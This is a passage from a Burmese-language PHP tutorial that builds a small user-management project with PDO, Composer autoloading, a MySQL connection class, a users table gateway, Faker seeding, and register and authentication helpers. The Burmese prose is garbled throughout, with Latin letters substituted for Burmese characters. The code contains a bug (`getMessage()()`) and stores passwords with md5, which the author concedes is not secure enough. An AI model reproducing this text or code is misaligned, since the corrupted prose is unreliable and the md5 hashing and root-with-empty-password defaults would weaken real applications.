ပါကြေတာ့တယ်။ ကြေနာက်ပုိင်းမှာ  Data  ကိုyယ်နှစ်ခါပဲကြေပးကြေပး  Run  ရမယ့်  Query  ကိုgပန်ပြပီးကြေတာ့ gပင်ဆင်
တွက်ချက်စရာ မလုိအပ်ကြေတာ့ပါyူး။ ဒါကြေeကာင့်  Query    ကြေတွ ထပ်ခါထပ်ခါ    Run    တဲ့အခါ ဒီနည်းက သိသိ  
သာသာ ပုိgမန်သွားကြေစမှာပဲ goစ်ပါတယ်။

ကြေနာက်တစ်ချက်ကကြေတာ့  SQL  Injection  လုိ့ကြေခါ်တဲ့  လံုခြခံုကြေရးgပဿနာကို  ဒီနည်းက  အလုိအကြေလျှာက်
အကာအကွယ်ကြေပးပါတယ်။  SQL  Injection  ရဲ့  သကြေyာသyာဝကို  Security  အခန်းကြေရာက်တဲ့အခါမှ
ထပ်ကြေgပာပါမယ်။  ဒီကြေနရာမှာကြေတာ့  Query  နဲ့  Data  ကို  နှစ်ပုိင်း  ခွဲထုတ်လုိက်တဲ့အတွက်  Data  ထဲမှာ
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Database  ကို  ထိခိုက်ကြေစနိုင်တဲ့  အန္တရာယ်ရှိတဲ့  အချက်အလက်ကြေတွ  ပါဝင်လာခဲ့ရင်၊  အ့ဲဒီအချက်အလက်
ကြေတဟွာ Query ကို Prepare လုပ်စဉ်မှာ ပါဝင်သွားမှာ မဟုတ်တဲ့အတွက် အန္တရာယ် မကြေပးနိုင်ကြေတာ့yူးလုိ့
မှတ်နိုင်ပါတယ်။ ကျန်လုပ်ငန်းကြေတွgoစ်တဲ့  Update နဲ့  Delete တိုက့ို စမ်းသပ်လုိရင် အခုလုိ စမ်းသပ်eကည့်
နိုင်ပါတယ်။

$sql = "UPDATE roles SET name=:name WHERE value = 999";

$statement = $db->prepare($sql);

$statement->execute([
    'name' => 'Superman'
]);

echo $statement->rowCount();   // 1

ဒီကြေနရာမှာ အသုံးgပုထားတဲ့ rowCount() Method ကိုလည်း ထည့်သွင်းမှတ်သားပါ။ အသံုးဝင်ပါတယ်။
Query တစ်ခု  Run လုိက်တဲ့အတွက် goစ်ကြေပါ်သွားတဲ့ အကြေgပာင်းအလဲ Record အကြေရအတွက်ကို gပန်ကြေပးပါ
တယ်။  ကြေစာကြေစာက  INSERT  မှာ  သုံးခဲ့တဲ့  lastInsertId() ကို  $db ကြေပါ်မှာ  Run  ရပြပီး
rowCount() ကို $statement ကြေပါ်မှာ Run ရတယ်ဆိုတာကို သတိgပုပါ။ မတူeကပါyူး။

$sql = "DELETE FROM roles WHERE id > 3";

$statement = $db->prepare($sql);

$statement->execute();

echo $statement->rowCount();   // 2

ဒီတစ်ခါ  DELETE FROM Query  ကို  Run  ထားတာပါ။  id တန်oုိး  3  ထက်ကြကီးတာ နှစ်ခုရှိကြေနလုိ့  နှစ်
ကြေeကာင်း ပျက်သွားပါတယ်။ ဒါကြေeကာင့် rowCount() က 2 ကိုgပန်ကြေပးတာပါ။

ဒီကြေလာက်ဆိုရင် PDO ကို အသံုးgပုပြပီး Database နဲခ့ျတိ်ဆက်ပြပီး Data ကြေတွစီမံပုံကို သိရှိသွားပါပြပီ။ ကြေနာက်
တစ်ခန်းမှာ လုပ်လက်စ ပကြေရာင်္ဂျက်နဲအ့တူ ဒီကုဒ်ကြေတွကို လက်ကြေတွ့အသုံးချသွားeကမှာပါ။
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အခန်း (၃၉) – PHP Project

 

ကြေလ့လာချင်တာကြေတွလည်း  စံုသင့်သကြေလာက်  စံုသွားပြပီမုိလုိ့့  ကြေရးလက်စ  ပကြေရာင်္ဂျက်ကြေလးကို  လက်စသတ်
ချင်ပါတယ်။ ပကြေရာင်္ဂျက်ရဲ့ Folder Structure အgပည့်အစံုကို အရင်ဆံုး ကြေoာ်gပလုိက်ပါတယ်။
 

project/
├── _actions/
│     ├── photos/
│     ├── create.php
│     ├── delete.php
│     ├── login.php
│     ├── logout.php
│     ├── populate.php
│     ├── role.php
│     ├── suspend.php
│     ├── unsuspend.php
│     └── upload.php
│
├── _classes/
│     ├── Helpers/
│     │     ├── Auth.php
│     │     └── HTTP.php
│     └── Libs/
│           └── Database/
│                ├── MySQL.php
│                └── UsersTable.php
├── css/
│     └── bootstrap.min.css
│
├── js/
│     └── bootstrap.bundle.min.js
│
├── admin.php
├── composer.json
├── index.php
├── profile.php
└── register.php
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ပထမဆံုး  _actions oုိဒါထဲမှာ တိုးသွားတဲ့oုိင်ကြေတွကို  အရင်သတိgပုပါ။  create.php က  Register
လုပ်တဲ့အခါ  User  Account  ကို  users Table  ထဲမှာ  သိမ်းတဲ့ကုဒ်ကြေရးoုိပ့ါ။  delete.php ကကြေတာ့
User Account ကို gပန်oျက်တဲ့ကုဒ်ကြေရးoုိပ့ါ။  populate.php ကကြေတာ့ users Table ထဲမှာ စမ်းစရာ
နမူနာ Account ကြေတခွပ်များများ ထည့်ကြေပးလုိက်oုိပ့ါ။ role.php ကကြေတာ့ User ရဲ့ Role ကြေgပာင်းတဲ့ကုဒ်
ကြေရးoုိ့ပါ။ suspend.php နဲ့ unsuspend.php တိုက့ကြေတာ့ User ကို Ban တဲ့ကုဒ်နဲ့ gပန်oွင့်ကြေပးတဲ့ကုဒ်
ကြေတွ ကြေရးoုိ့goစ်ပါတယ်။

_classes အမည်နဲ့  oုိဒါအသစ်တစ်ခုလည်း  ပါဝင်လာပါတယ်။  သူ့ထဲမှာ  Helpers နဲ့  Libs ဆိုတဲ့
ထပ်ဆင့် oုိဒါကြေတွ ရှိကြေနပါတယ်။ Helpers ထဲက Auth.php ကို User Login ဝင်ထားမထား စစ်တဲ့ကုဒ်
ကို  ကြေရးoုိ့goစ်ပါတယ်။  လုိတဲ့ကြေနရာကကြေန  ကြေခါ်သုံးoုိ့  ရည်ရွယ်ပါတယ်။  HTTP.php မှာကြေတာ့  Redirect
လုပ်ကြေဆာင်ချက်ကို  လုိတဲ့ကြေနရာက  ကြေခါ်သုံးနိုင်oုိ့  ကြေရးထားကြေပးချင်လုိပ့ါ။  မဟုတ်ရင်  header() နဲ့
Redirect  လုပ်တဲ့အခါ  ../ နဲ့  အgပင်ထွက်ရတာကြေတွ  exit() နဲ့ ရပ်ရတာကြေတွ ကိုယ်yာသာ ခဏခဏ
ကြေရးကြေနရပါလိမ့်မယ်။  တစ်ခါကြေရးထားပြပီးကြေတာ့  ကြေခါ်သုံးလုိက်ချင်ပါတယ်။  ဒီလုိကြေလး  ခွဲကြေပးထားတဲ့အတွက်
ကြေနာက်ပုိင်းလုိအပ်ရင်  Auth  နဲ့ ပက်သက်တဲ့  ထပ်တိုးလုပ်ကြေဆာင်ချက်ကြေတွ၊  HTTP  နဲပ့က်သက်တဲ့ ထပ်တိုး
လုပ်ကြေဆာင်ချက်ကြေတွ ဒီထဲမှာ လာကြေရးလုိက်ယုံပါပဲ။

Libs ထဲမှာကြေတာ့  Database အမည်နဲ့  ကြေနာက်ထပ်  oုိဒါတစ်ခုရှိကြေနပါကြေသးတယ်။  ကြေနာက်ပုိင်း  Libs
ကြေအာက်မှာ  File  နဲ့ပက်သက်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ၊  Session  နဲပ့က်သက်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ
စသည်goင့် ထပ်တိုးလုပ်ကြေဆာင်ချကက်ြေတွ ရှိလာရင် ထည့်လုိရ့ကြေအာင် ခွဲထားကြေပးတာပါ။ ကြေလာကြေလာဆယ် ရှိ
ကြေနတဲ့  MySQL.php က  Database  ချတိ်ဆက်မှုနဲ့  ပက်သက်တဲ့  ကုဒ်ကြေတွ  ကြေရးoုိ့goစ်ပြပီး
UsersTable.php တိုက့ကြေတာ့ users Table ထဲက Data ကြေတွကို စီမံတဲ့ကုဒ်ကြေတွ ကြေရးoုိ့goစ်ပါတယ်။
ဒီကြေနရာမှာ  Table Gateway Pattern  လုိ့ကြေခါ်တဲ့  Design Pattern  တစ်မျ ို းကို သံုးပါမယ်။  Table  ကိုသွား
ချင်ရင်  တိုက်ရုိက်မသွားရyူး၊  ဒီကကြေနgoတ်သွားရတယ်ဆိုတဲ့  သကြေyာမျ ို းပါ။  ကြေရှ့ပုိင်းမှာ  ကြေgပာခဲ့တဲ့
Repository Pattern နဲ့ သကြေyာသyာဝ ဆင်တူပါတယ်။ 

js oုိဒါနဲအ့တူ bootstrap.bundle.min.js oုိင်ကိုထည့်ထားပါတယ်။ ဒီoုိင်ကကြေတာ့ ကိုယ့်yာသာ
ကြေရးရမှာ မဟုတ်ပါyူး။ Bootstrap CSS Framework နဲ့အတူပါလာတဲ့ oုိင်ကို ယူထည့်ထားကြေပးရမှာပါ။ ပ
ကြေရာင်္ဂျက်ကြေအာက်တည့်တည့်မှာ  admin.php နဲ့  composer.json တိုက့ို  ထပ်တိုးထားပါတယ်။
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composer.json oုိင်ကလည်း  ကိုယ့်yာသာ  ကြေဆာက်စရာမလုိပါyူး။  အခုလုိ  Command  ကြေပးပြပီး
ကြေဆာက်လုိက်လုိရ့ပါတယ်။

composer init

ဒီအကြေeကာင်းကို  ကြေရှ့ ပုိင်းမှာ ကြေgပာခဲ့ပြပီးသားမုိလုိ့့  Composer  ကကြေမးတဲ့ကြေမးခွန်းကြေတွကို  ကိုယ့်နှစ်သက်သလုိ
ကြေgoပြပီး  composer.json oုိင်ကို  တည်ကြေဆာက်လုိက်ပါ။  ပထမဆံုး  လုပ်သင့်တာကကြေတာ့  PSR-4
Autoload Setting ကို composer.json မှာ ထည့်သွင်းoုိ့ goစ်ပါတယ်။ အခုလုိထည့်သွင်းကြေပးရမှာပါ။

 JSON – composer.json 

{
    "name": "eimg/project",

    "authors": [

        {

            "name": "Ei Maung",

            "email": "eimg@fairwayweb.com"

        }

    ],

    "require": { },

    "autoload": {

        "psr-4": {

            "Libs\\": "_classes/Libs/",

            "Helpers\\": "_classes/Helpers/"

        }

    }

}

ကျန်အပုိင်းကြေတွက အတိအကျတူစရာမလုိပါyူး။  autoload Section  ကိုသာ ကြေပးထားတဲ့အတိုင်း  မှန်
ကြေအာင်goည့်စွက်ကြေပးရမှာ  goစ်ပါတယ်။  ဒီကြေတာ့မှ  Composer  က  Namespace  Libs ကို  လုိချင်ရင်
_classes/Libs ထဲမှာ eကည့်ရမယ်၊ Namespace Helpers ကိုလုိချင်ရင် _classes/Helpers
မှာ eကည့်ရမယ်ဆိုတဲ့ စမှတ်ကြေတွကို သတိသွားမှာပါ။ ပြပီးရင် dump-autoload ကို Run ကြေပးoုိ့ မကြေမ့ပါနဲ့။
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composer dump-autoload

ဆက်လက်ပြပီးကြေတာ့ လုိအပ်တဲ့ ကုဒ်ကြေတွကို ကြေရးeကပါမယ်။ MySQL.php မှာ အခုလုိကြေရးကြေပးပါ။

 PHP 

<?php

namespace Libs\Database;

use PDO;
use PDOException;

class MySQL
{
    private $dbhost;
    private $dbuser;
    private $dbname;
    private $dbpass;
    private $db;

    public function __construct(
        $dbhost = "localhost",
        $dbuser = "root",
        $dbname = "project",
        $dbpass = "",
    ) {
        $this->dbhost = $dbhost;
        $this->dbuser = $dbuser;
        $this->dbname = $dbname;
        $this->dbpass = $dbpass;
        $this->db = null;
    }

    public function connect()
    {
        try {
            $this->db = new PDO(
                "mysql:host=$this->dbhost;dbname=$this->dbname",
                $this->dbuser,
                $this->dbpass,
                [
                    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,
                ]
            );

            return $this->db;
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        } catch (PDOException $e) {

            return $e->getMessage();
        }
    }
}

Namespace ကို oုိဒါ Path လမ်းကြေeကာင်းအတိုင်း Libs\Database လုိ့ကြေပးထားပါတယ်။ အခုကြေန PDO
ကို တိုက်ရုိက်သံုးရင် Libs\Database\PDO ဆိုတဲ့ Class ကို လုိက်ရှာမှာပါ။ ရှိမှာ မဟုတ်ပါyူး။ PDO
က Global Namespace ကြေအာက်မှာရှိတာပါ။ ဒါကြေeကာင့် use နဲ့  PDO ကို Import လုပ်ကြေပးပြပီးမှ ဆက်သံုး
ထားပါတယ်။  PDO  Error  ကြေတွကို  Exception  Handling  နည်းစနစ်နဲ့  စီမံချင်တဲ့အတွက်
PDOException ဆိုတဲ့ Class ကိုလည်း Import လုပ်ထားပါတယ်။

Database  ဆက်သွယ်မှုအတွက်  လုိအပ်တဲ့  dbhost,  dbuser,  dbpass နဲ့  dbname တိုက့ို
Constructor Parameter အကြေနနဲ့ ကြေတာင်းထားပါတယ်။ မကြေပးခဲ့ရင်လည်း ရပါတယ်။ Default Value ကြေတွ
အသီးသီး  သတ်မှတ်ထားလုိပ့ါ။  ဒါကြေeကာင့်  Database  Setting  မကြေပးyဲ  ချတိ်ဆက်နိုင်သလုိ၊  လုိအပ်ရင်
Setting  ကြေပးပြပီးကြေတာ့လည်း  ချတိ်ဆက်နိုင်သွားမှာ  goစ်ပါတယ်။  ဒီကြေနရာမှာ  PHP  8  ရဲ့  Constructor
Property Promotion ကြေရးထုံးကို အသုံးgပုရင် ကုဒ်က ကြေတာ်ကြေတာ်တိုသွားမှာပါ။ ဒါကြေပမယ့် တစ်ချ ို ့ PHP 8
မရှိကြေသးသူကြေတွလည်း စမ်းချင်ရင် စမ်းလုိရ့ကြေအာင် ရုိးရုိးပဲ ကြေရးကြေပးလုိက်တာပါ။

ပြပီးတဲ့အခါ  connect() Method  နဲ့  Database  ကိုချတိ်ဆက်ထားပါတယ်။ ထူးgခားချက်အကြေနနဲ့  Error
Mode ကို ပြပီးခဲ့တဲ့အခန်းမှာလုိ WARNING လုိ့ မကြေgပာကြေတာ့ပါyူး။ EXCEPTION လုိ့ကြေgပာထားပါတယ်။ ဒါ
ကြေeကာင့် Error ရှိရင် Warning မကြေပးကြေတာ့yဲ Exception ကြေပးသွားမှာပါ။ တစ်ကယ်ကြေတာ့ Database နဲပ့က်
သက်တဲ့  အလုပ်ကြေတွ လုပ်ပြပီးရင်  Connection  ကို  gပန်ပိတ်ကြေပးရပါတယ်။ ဒါကြေပမယ့် အလုပ်တစ်ခုလုပ်လုိ
တိုင်း Database Connection ကို oွင့်လုိက်ပိတ်လုိက် အပြမဲတမ်း လုပ်ကြေနရမှာစိုးလုိ့ ပိတ်တဲ့ Method မကြေရး
ကြေတာ့ပါyူး။  ပိတ်ချင်ရင်  ပိတ်ပံုပိတ်နည်းက လွယ်ပါတယ်။  PDO  Object  ရှိကြေနတဲ့  $db ကို  Null  gပန်
သတ်မှတ်ကြေပးလုိက်ယုံပါပဲ။

Database နဲဆ့က်သွယ်လုိရင် MySQL Class ရဲ့  connect() Method ကို  Run လုိက်ယုံပဲgoစ်ပါတယ်။
ဆက်လက်ပြပီးကြေတာ့ UsersTable.php မှာ အခုလုိကြေရးသားကြေပးပါမယ်။
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 PHP 

<?php

namespace Libs\Database;

use PDOException;

class UsersTable
{
    private $db = null;

    public function __construct(MySQL $db)
    {
        $this->db = $db->connect();
    }

    public function insert($data)
    {
        try {
            $query = "
                INSERT INTO users (
                    name, email, phone, address,
                    password, role_id, created_at
                ) VALUES (
                    :name, :email, :phone, :address,
                    :password, :role_id, NOW()
                )

  ";

            $statement = $this->db->prepare($query);
            $statement->execute($data);

            return $this->db->lastInsertId();
        } catch (PDOException $e) {
            return $e->getMessage()();
        }
    }

    public function getAll()
    {
        $statement = $this->db->query("
            SELECT users.*, roles.name AS role, roles.value
            FROM users LEFT JOIN roles
            ON users.role_id = roles.id
        ");

        return $statement->fetchAll();
    }
}
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Dependency Injection နည်းစနစ်ကိုသံုးပြပီး  MySQL Object  ကို  Constructor  မှာ ကြေတာင်းထားပါတယ်။
တစ်ကယ်ကြေတာ့  Database  ချတိ်တဲ့ကုဒ်ကို  သပ်သပ်မခွဲyဲ ဒီထဲမှာပဲ ကြေရးလုိက်လုိလ့ည်း ရနိုင်ပါတယ်။ ဒါ
ကြေပမယ့် အခုလုိ သပ်သပ်ခွဲထားပြပီး  Dependency  အကြေနနဲ့  Inject  လုပ်ခိုင်းလုိက်တဲ့အတွက် ကြေနာက်ပုိင်းမှာ
Database အမျ ို းအစား ကြေgပာင်းချင်တာကြေတွ yာကြေတွအတွက် ပုိလွယ်သွားကြေစမှာ goစ်ပါတယ်။

Method  အကြေနနဲ့  insert() နဲ့  getAll() တိုက့ိုကြေရးထားပါတယ်။  Data  ထည့်သွင်းလုိတဲ့အခါ
insert() ကိုကြေခါ်ပြပီး ထည့်သွင်းလုိတဲ့  Data  ကြေပးရမှာgoစ်ပါတယ်။  getAll() ကကြေတာ့ ရှင်းပါတယ်၊
users Table  ထဲက  ရှိသမျှအကုန်  ထုတ်ယူပြပီး  gပန်ကြေပးမှာပါ။  ကုဒ်ကြေတွကြေရးတဲ့အခါ  အားလံုးပြပီးgပည့်စံု
ကြေအာင်ကြေတာ့  မကြေရးနိုင်ပါyူး။  အချနိ်နဲ့  ကြေနရာ  အကန့်အသတ်ရှိလုိ့ပါ။  ဒီကြေနရာမှာ  လုိအပ်ချက်နှစ်ခု  ရှိပါ
တယ်။ ပထမတစ်ခုက Insert မလုပ်ခင် Data ကို gပည့်စံုမှန်ကန်မှု ရှိမရှိ စစ်oုိ့goစ်ပါတယ်။ စစ်မထားပါyူး။
ဒီအတိုင်းပဲ  ထည့်ထားပါတယ်။ ဒုတိယတစ်ခုက  getAll() မှာ  try-catch နဲ့  Exception Handle
လုပ်ကြေရးoုိ့goစ်ပါတယ်။ Insert မှာပဲ Exception Handle လုပ်ကြေရးထားပါတယ်။ တစ်ကယ်ကြေတာ့ Database
နဲဆ့က်သွယ်မှုတိုင်းကို အ့ဲဒီလုိ  Exception Handle  လုပ်ကြေရးကြေပးoုိ့ လုိအပ်ပါတယ်။ ကြေလာကြေလာဆယ်ကြေတာ့
တိုသွားကြေအာင်  ဒီအတိုင်းပဲ  ကျန်လုပ်ကြေဆာင်ချက်ကြေတွကို  ဆက်ကြေရးသွားမှာပါ။  ကြေနာက်ပုိင်းမှ  စာoတ်သူက
ကိုယ့်အစီအစဉ်နဲက့ိုယ် လုိက်goည့်ကြေရးကြေပးoုိ့ တိုက်တွန်းပါတယ်။

ပြပီးကြေတာ့  အခုလုိ  Dependency  Injection  ကြေတွyာကြေတွနဲ့  ကြေရးလာပြပီဆိုရင်  Factory Class  ကြေလးတစ်ခု
လည်း ရှိသင့်ပါတယ်။ Object တစ်ခုကြေဆာက်ခါနီးတိုင်း လုိအပ်တဲ့ Dependency ကို ကိုယ်yာသာ oန်တီး
ပြပီး ကြေပးကြေနရတာထက် Factory က Object ကြေဆာက်ကြေပးလုိက်ရင် ပုိစနစ်ကျပြပီး ကြေရရှည်အတွက် ပုိကြေကာင်း
သွားမှာ  goစ်ပါတယ်။  ဒါကြေပမယ့်  အ့ဲဒီကိစ္စကိုလည်းပဲ  အိမ်စာအကြေနနဲ့  ကြေနာက်မှ  စမ်းeကည့်oုိ့ပဲ  ချန်ထား
လုိက်ပါတယ်။ ကြေလာကြေလာဆယ်  Factory  မပါyဲ  ဆက်ကြေရးသွားမှာ goစ်ပါတယ်။  ကြေနာက်တစ်ဆင့်အကြေနနဲ့
စမ်းစရာနမူနာ Data ကြေတွ ထည့်eကပါမယ်။ ဒီလုိထည့်oုိ့အတွက် Faker လုိ့ကြေခါ်တဲ့ နမူနာ Data ကြေပးနိုင်တဲ့
Package တစ်ခုကို အသုံးgပုလုိပါတယ်။ ဒါကြေeကာင့် အခုလုိ Install လုပ်လုိက်ပါ။

composer require fakerphp/faker

ဒီလုိ  Install  လုပ်လုိက်တယ်ဆိုရင်  Composer  က  vendor oုိဒါတည်ကြေဆာက်ပြပီး  Faker  ကို  ရယူ
ထည့်သွင်းကြေပးသွားမှာ goစ်ပါတယ်။ ပြပီးတဲ့အခါ _actions/populate.php မှာ အခုလုိ ကြေရးကြေပးပါ။
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 PHP 

<?php

include("../vendor/autoload.php");

use Faker\Factory as Faker;

use Libs\Database\MySQL;
use Libs\Database\UsersTable;

$faker = Faker::create();
$table = new UsersTable(new MySQL());

if ($table) {
    echo "Database connection opened.\n";

    for ($i = 0; $i < 10; $i++) {
        $data = [
            'name' => $faker->name,
            'email' => $faker->email,
            'phone' => $faker->phoneNumber,
            'address' => $faker->address,
            'password' => md5('password'),
            'role_id' => $i < 5 ? rand(1, 3) : 1
        ];

        $table->insert($data);
    }

    echo "Done populating users table.\n";
}

vendor/autoload.php ကို  Include  လုပ်ထားပြပီးgoစ်လုိ့  ကြေနာက်ထပ်အသုံးgပုချင်တဲ့  Class  ကြေတွကို
ထပ်ပြပီးကြေတာ့  Import  လုပ်စရာမလုိအပ်ကြေတာ့ပါyူး။  use  နဲ့  Import  လုပ်ပြပီး သံုးလုိရ့သွားပါပြပီ။  Faker,
MySQL နဲ့  UsersTable တိုက့ို  Import  လုပ်ထားပါတယ်။  Faker  ကို  Import  လုပ်တဲ့အခါ သူကြေရးကြေပး
ထားတဲ့ Factory Class ကို Import လုပ်ပြပီး Faker လုိပဲ့ Alias လုပ်ကြေပးထားပါတယ်။

Faker::create() နဲ့  Faker Object  တစ်ခတုည်ကြေဆာက်ပြပီး  UsersTable Object  တစ်ခု
ဆက်လက်တည်ကြေဆာက်ထားပါတယ်။ MySQL Object ကို Dependency အကြေနနဲ့ ထည့်ကြေပးလုိက်ပါတယ်။
ပြပီးတဲ့အခါ  Loop (၁၀)  ခါပါတ်ပြပီး  UsersTable ရဲ့  insert() အကူအညီနဲ့  User Data  ကြေတွတန်းစီ
ထည့်သွင်းလုိက်တာပါ။ (၁၀) ခုမကလုိ့ အခု  (၂၀) အခု  (၅၀) လုိချင်ရင်လည်း Loop ကို ကြေgပာင်းကြေပးလုိက်
ယုံပါပဲ။
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name, email, phone, address တိုအ့တွက် Faker ကgပန်ကြေပးတဲ့ Random တန်oုိးကြေတွကို သုံး
ထားပါတယ်။  Password  ကြေတွသိမ်းတဲ့အခါမှာ  မူရင်း  Password  အတိုင်းမသိမ်းyဲ  Hash  လုပ်ထားတဲ့
တန်oုိးကို သိမ်းသင့်လုိ့ md5() Standard Function ရဲ့အကူအညီနဲ့ password ဆိုတဲ့စာကို Hash လုပ်
ကြေပးထားပါတယ်။ တစ်ကယ်ကြေတာ့ md5() နဲတ့င် မလံုကြေလာက်ပါyူး။ ဒီအကြေeကာင်းကို ကြေနာက်တစ်ခန်းမှာ
ထပ်ရှင်းgပပါမယ်။  ကြေလာကြေလာဆယ်  User  အားလုံးရဲ့  Password  ဟာ  password goစ်တယ်လုိ့သာ
မှတ်ထားကြေပးပါ။

role_id အတွက် 1 နဲ့ 3 eကား Random ကြေပးချင်တာပါ။ ဒါကြေပမယ့် 1 ကြေတွပုိများကြေစလုိတဲ့အတွက် ပထမ
(၅)  ကြေယာက်ကြေလာက်ကိုပဲ  1  နဲ့  3  eကား  Random  ကြေပးပြပီး  ကျန်  User  ကြေတွကို  1  လုိပဲ့ကြေပးoုိ့  Ternary
Operator ကို အသုံးgပုကြေရးသားထားပါတယ်။ ကြေရးပြပီးပြပီဆိုရင် စမ်းလုိရ့ပါပြပီ။

localhost/project/_actions/populate.php

ကြေရးထားတဲ့ကုဒ်မှာ အမှားမရှိyူးဆိုရင်  users Table  မှာ  Random Data နဲ့  Record (၁၀) ခုဝင်ကြေရာက်
သွားတာကို  ကြေတွ့ရမှာပဲ goစ်ပါတယ်။ ကြေရးခဲ့တဲ့ကုဒ်များတဲ့အတွက် စာလံုးကြေပါင်းကြေeကာင့်goစ်goစ်၊  Operator
ကြေတွကျန်လုိပဲ့goစ်goစ် အမှားကြေတွကြေတာ့ ဟိုနားဒီနား ရိှနိုင်ပါတယ်။ စိတ်ရှည်လက်ရှည် gပန်တိုက် ကြေgoရှင်းပါ။
တစ်ဆင့်အဆင  ််  ကြေgပမှ ကြေနာက်တစ်ဆင့်ကို ဆက်သွားသင့်ပါမယ်  ။ အဆင်မကြေgပကြေသးyဲ ကြေနာက်တစ်ဆင့်ကို
ဆက်သွားရင် ကြေနာက်ကျကြေတာ့မှ အမှားရှာရ ပုိပြပီးကြေတာ့ ခက်သွားပါလိမ့်မယ်။
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Helpers
ဆက်လက်ပြပီးကြေတာ့  Auth  နဲ့  HTTP  တိုမှ့ာ  ကြေရးရမယ့်ကုဒ်ကြေတွ  ဆက်ကြေရးeကပါမယ်။  Helpers/
HTTP.php မှာအခုလုိ ကြေရးကြေပးပါ။

 PHP 

<?php

namespace Helpers;

class HTTP
{
    static $base = "http://localhost/project";

    static function redirect($path, $query = "")
    {
        $url = static::$base . $path;
        if($query) $url .= "?$query";
        
        header("location: $url");
        exit();
    }
}

ပကြေရာင်္ဂျက်ရဲ့  Base URL  သတ်မှတ်ပြပီး  redirect() Static Method  တစ်ခုပါဝင်ပါတယ်။ အကယ်၍
စာကြေရးသူကြေရးစမ်းကြေနတဲ့  ပကြေရာင်္ဂျက်  URL  ကနမူနာနဲမ့တူရင်  ဒီကြေနရာမှာ  ကြေgပာင်းကြေပးoုိ့  လုိပါလိမ့်မယ်။
redirect() Method  က  $path နဲ့  $query နှစ်ခုလက်ခံပါတယ်။  $query အတွက်  Default
Value ကြေပးထားလုိ့ မပါရင်လည်း ရပါတယ်။ ပြပီးတဲ့အခါ ကြေပးလာတဲ့ $path နဲ့ $query ကို Base URL နဲ့
ကြေပါင်းစပ်ပြပီး  header() Function  နဲ့  Redirect  လုပ်ကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် ကြေနာက်ပုိင်း  Redirect
လုပ်ချင်ရင် header() Function ကိုယ့်yာသာ ကြေရးစရာမလုိကြေတာ့ပါyူး။ ဒီလုိကြေရးလုိက်ရင် ရသွားပါပြပီ။

HTTP::redirect('/url', 'query=value');
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ဆက်လက်ပြပီးကြေတာ့ Helpers/Auth.php မှာ အခုလုိကြေရးကြေပးပါ။

 PHP 

<?php

namespace Helpers;

class Auth
{
    static $loginUrl = '/index.php';

    static function check()
    {
        session_start();
        if(isset($_SESSION['user'])) {
            return $_SESSION['user'];
        } else {
            HTTP::redirect(static::$loginUrl);
        }
    }
}

ဒါလည်း သိပ်ရှုပ်ကြေထွးတဲ့လုပ်ကြေဆာင်ချက် မဟုတ်ပါyူး။ ခါတိုင်း ကိုယ့်yာသာ $_SESSION ထဲမှာ ရှိမရှိ
စစ်ကြေနeကကုဒ်ကို  စစ်ကြေပးတဲ့  check() Method  ပါသွားတာပါ။ ဒါကြေeကာင့် ကြေနာက်ပုိင်း  Login  ဝင်ထားမ
ထား  စစ်ချင်ရင်  Auth::check() ဆိုရင်  ရသွားပါပြပီ။  Login  ဝင်မထားရင်  သူ့yာသာ  Login  URL
အgoစ် သတ်မှတ်ထားတဲ့ index.php ကို ကြေရာက်သွားပါလိမ့်မယ်။

Register
ကြေနာက်တစ်ဆင့် ဆက်လုပ်မှာကကြေတာ့  User  Account  ကြေဆာက်လုိရ့တဲ့  Register  လုပ်ကြေဆာင်ချက်goစ်ပါ
တယ်။ register.php ထဲမှာ ဒီ HTML Template ကို ကြေရးသားကြေပးပါ။

 PHP 

<!DOCTYPE html>
<html>
<head>
    <title>Register</title>
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">

    <link rel="stylesheet" href="css/bootstrap.min.css">
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    <style>
        .wrap {
            width: 100%;
            max-width: 400px;
            margin: 40px auto;
        }
    </style>
</head>
<body class="text-center">
    <div class="wrap">
        <h1 class="h3 mb-3">Register</h1>

        <?php if (isset($_GET['error'])): ?>
            <div class="alert alert-warning">
                Cannot create account. Please try again.
            </div>
        <?php endif ?>

        <form action="_actions/create.php" method="post">
            <input type="text" name="name" class="form-control mb-2" 

placeholder="Name" required>

            <input type="email" name="email" class="form-control mb-2"
placeholder="Email" required>

            <input type="text" name="phone" class="form-control mb-2" 
placeholder="Phone" required>

            <textarea name="address" class="form-control mb-2" 
placeholder="Address" required></textarea>

            <input type="password" name="password" 
class="form-control mb-2" 
placeholder="Password" required>

            <button type="submit" 
class="w-100 btn btn-lg btn-primary">

                Register
            </button>
        </form>
        <br>

        <a href="index.php">Login</a>
    </div>
</body>
</html>

ရုိးရုိး  HTML  Form  တစ်ခုgoစ်ပြပီး  name, email, phone, address နဲ့  password တိုက့ို
ကြေတာင်းထားပါတယ်။ တစ်ကယ်ကြေတာ့ Password ကြေတာင်းတဲ့အခါ မှားမှာ စိုးလုိ့ နှစ်ခါကြေတာင်းပြပီး Confirm
Password  လုပ်ကြေဆာင်ချက် ထည့်ကြေပးoုိ့ လုိအပ်နိုင်ပါတယ်။ ဒါကြေပမယ့် ဒီလုပ်ကြေဆာင်ချက်အတွက် လုိအပ်
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တဲ့ JavaScript ကုဒ်ကြေတွ ထည့်မကြေရးနိုင်တဲ့အတွက် ထည့်မထားပါyူး။ ကြေoာင်ကိုgoည့်ပြပီး Register Button
ကိုနှိပ်လုိက်ရင်  _actions/create.php ကိုကြေရာက်သွားမှာgoစ်လုိ့  create.php မှာ  အခုလုိ
ဆက်လက်ကြေရးသားကြေပးပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;

$data = [
    "name" => $_POST['name'] ?? 'Unknown',
    "email" => $_POST['email'] ?? 'Unknown',
    "phone" => $_POST['phone'] ?? 'Unknown',
    "address" => $_POST['address'] ?? 'Unknown',
    "password" => md5( $_POST['password'] ),
    "role_id" => 1,
];

$table = new UsersTable(new MySQL());

if( $table ) {
    $table->insert($data);
    HTTP::redirect("/index.php", "registered=true");
} else {
    HTTP::redirect("/register.php", "error=true");
}

ကြေစာကြေစာက  populate.php မှာလုိပဲ  users Table  ထဲကို  Record  တစ်ခုထည့်ကြေပးလုိက်တာပါ။  ဒီ
